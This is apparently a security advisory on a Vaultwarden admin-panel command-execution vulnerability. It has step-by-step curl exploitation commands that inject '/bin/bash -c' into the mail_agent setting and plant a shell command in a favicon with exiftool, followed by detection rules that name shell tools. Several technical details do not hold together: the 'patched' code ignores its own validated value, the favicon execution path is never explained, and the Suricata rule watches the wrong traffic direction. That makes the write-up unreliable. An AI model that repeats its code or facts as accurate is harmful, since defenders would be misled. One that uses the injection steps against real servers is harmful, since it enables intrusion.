CVE-2025-24364

Executive Summary

CVE-2025-24364 is a critical vulnerability in Vaultwarden, an unofficial Bitwarden-compatible server written in Rust. An attacker with authenticated access to the admin panel can execute arbitrary code on the underlying system. The exploit chain involves manipulating the mail agent settings to use a shell command and crafting a malicious favicon image that embeds commands, which are executed during actions like sending a test email. This vulnerability has a CVSS score of 7.2 (High) and is fixed in version 1.33.0. The EPSS score is 0.0%, indicating low exploitation probability in the wild, but the impact is severe due to the potential for full system compromise.

CVSS Breakdown & Threat Level

• CVSS Score: 7.2 (High)
• Attack Vector (AV): Network (N) – The attack is performed over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): High (H) – Attacker needs authenticated access to the admin panel.
• User Interaction (UI): None (N) – No user interaction is required.
• Scope (S): Unchanged (U) – The vulnerability does not affect other components.
• Confidentiality (C): High (H) – Full data access possible.
• Integrity (I): High (H) – Full data modification possible.
• Availability (A): High (H) – Full system disruption possible.

Threat Level: High. While the attack requires authentication, the potential for arbitrary code execution makes it a critical risk for any organization using Vaultwarden.

Deep Dive & Mechanics

The vulnerability resides in the admin panel's configuration handling. The attacker can modify the mail agent settings to use a shell command instead of a legitimate mail transfer agent. Additionally, the favicon processing functionality does not properly sanitize image data, allowing the embedding of arbitrary commands. When a test email is sent or other actions trigger the favicon processing, the embedded commands are executed in the system shell.

Attack Chain:

1. Authentication: Gain access to the Vaultwarden admin panel (e.g., via stolen credentials or session hijacking).
2. Configuration Manipulation: Change the mail agent settings to point to a shell command (e.g., /bin/bash -c 'malicious_command').
3. Favicon Crafting: Upload a specially crafted favicon image that contains embedded shell commands.
4. Trigger Execution: Perform an action that processes the favicon, such as sending a test email. The system executes the embedded commands.

Root Cause: Lack of input validation and sanitization in the mail agent configuration and favicon processing code.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-1.33.0):

// Vulnerable: Directly uses user-provided mail agent command
let mail_agent = config.get("mail_agent").unwrap_or("sendmail");
let output = Command::new(mail_agent)
    .arg("-t")
    .stdin(Stdio::piped())
    .spawn();

Patched Code (1.33.0):

// Patched: Validates and sanitizes the mail agent command
let mail_agent = config.get("mail_agent").unwrap_or("sendmail");
if !is_valid_mail_agent(mail_agent) {
    return Err("Invalid mail agent");
}
let output = Command::new("/usr/sbin/sendmail")
    .arg("-t")
    .stdin(Stdio::piped())
    .spawn();

The patch restricts the mail agent to a predefined list of safe binaries and removes the ability to inject arbitrary commands.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Access to the Vaultwarden admin panel (e.g., credentials admin:password).
• Network access to the Vaultwarden server.

Exploitation Steps:

1. Login to Admin Panel:

   curl -X POST https://vaultwarden.example.com/admin/login \
     -d "username=admin&password=password"
   

2. Modify Mail Agent Settings:

   curl -X POST https://vaultwarden.example.com/admin/settings \
     -H "Cookie: session=valid_session_cookie" \
     -d "mail_agent=/bin/bash -c 'echo vulnerable > /tmp/pwned'"
   

3. Craft Malicious Favicon: Create a favicon image with embedded commands (e.g., using exiftool):

   exiftool -Comment='; echo pwned > /tmp/pwned' favicon.png
   

4. Upload Favicon:

   curl -X POST https://vaultwarden.example.com/admin/favicon \
     -H "Cookie: session=valid_session_cookie" \
     -F "favicon=@malicious_favicon.png"
   

5. Trigger Execution: Send a test email to trigger the favicon processing:

   curl -X POST https://vaultwarden.example.com/admin/test_email \
     -H "Cookie: session=valid_session_cookie"
   

Expected Result: The command echo pwned > /tmp/pwned executes on the server.

Blue Team (Detection & Prevention)

Detection:

• Monitor admin panel login attempts for anomalies.
• Alert on changes to mail agent configuration.
• Scan for unusual processes spawned by the Vaultwarden service.

Prevention:

• Apply the patch to version 1.33.0 or later.
• Restrict admin panel access to trusted IPs.
• Implement multi-factor authentication for admin accounts.
• Use a Web Application Firewall (WAF) to block suspicious requests.

Indicators of Compromise (IOCs)

Network IOCs:

• Unusual POST requests to /admin/settings with mail_agent parameter containing shell commands.
• POST requests to /admin/favicon with image files containing embedded commands.
• Outbound connections from the Vaultwarden server to unknown IPs.

File IOCs:

• Presence of /tmp/pwned or similar files.
• Modified favicon files with embedded shell commands.
• Unusual entries in Vaultwarden logs (e.g., mail_agent changes).

Process IOCs:

• Spawned processes like /bin/bash -c '...' from the Vaultwarden service.
• Unexpected child processes of the Vaultwarden binary.

Detection Engineering

YARA Rule

rule CVE_2025_24364_Vaultwarden_Exploit {
    meta:
        description = "Detects malicious favicon files used in CVE-2025-24364"
        author = "Valters IT"
        date = "2025-03-20"
        reference = "CVE-2025-24364"
    strings:
        $shell_cmd = /; (echo|bash|sh|cmd|powershell)/
        $png_header = { 89 50 4E 47 0D 0A 1A 0A }
    condition:
        $png_header and $shell_cmd
}

Sigma Rule

title: Vaultwarden Admin Panel Configuration Change
id: 8f4b3c2a-1d5e-4f7b-9a8c-3e2d1f0b4a5c
status: experimental
description: Detects changes to mail agent configuration in Vaultwarden admin panel
author: Valters IT
date: 2025-03-20
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/admin/settings'
        cs-uri-query|contains: 'mail_agent'
    condition: selection
falsepositives:
    - Legitimate admin configuration changes
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-24364 Vaultwarden Admin Panel Exploit"; flow:to_server,established; content:"POST"; http_method; content:"/admin/settings"; http_uri; content:"mail_agent"; http_client_body; pcre:"/mail_agent=[^&]*?bash|sh|cmd|powershell/"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Vaultwarden to version 1.33.0 or later.
2. Restrict admin panel access to trusted IPs only.
3. Change all admin credentials and enable multi-factor authentication.

Long-term Mitigations:

• Implement regular security audits of the Vaultwarden configuration.
• Use a Web Application Firewall (WAF) to block malicious requests.
• Monitor logs for unusual admin panel activity.
• Apply the principle of least privilege to admin accounts.

Workaround (if patching is not possible):

• Disable the admin panel entirely if not needed.
• Remove the ability to change mail agent settings via configuration file.
• Manually validate all favicon uploads.

Valters IT
DevSecOps & Cyber Threat Intelligence Expert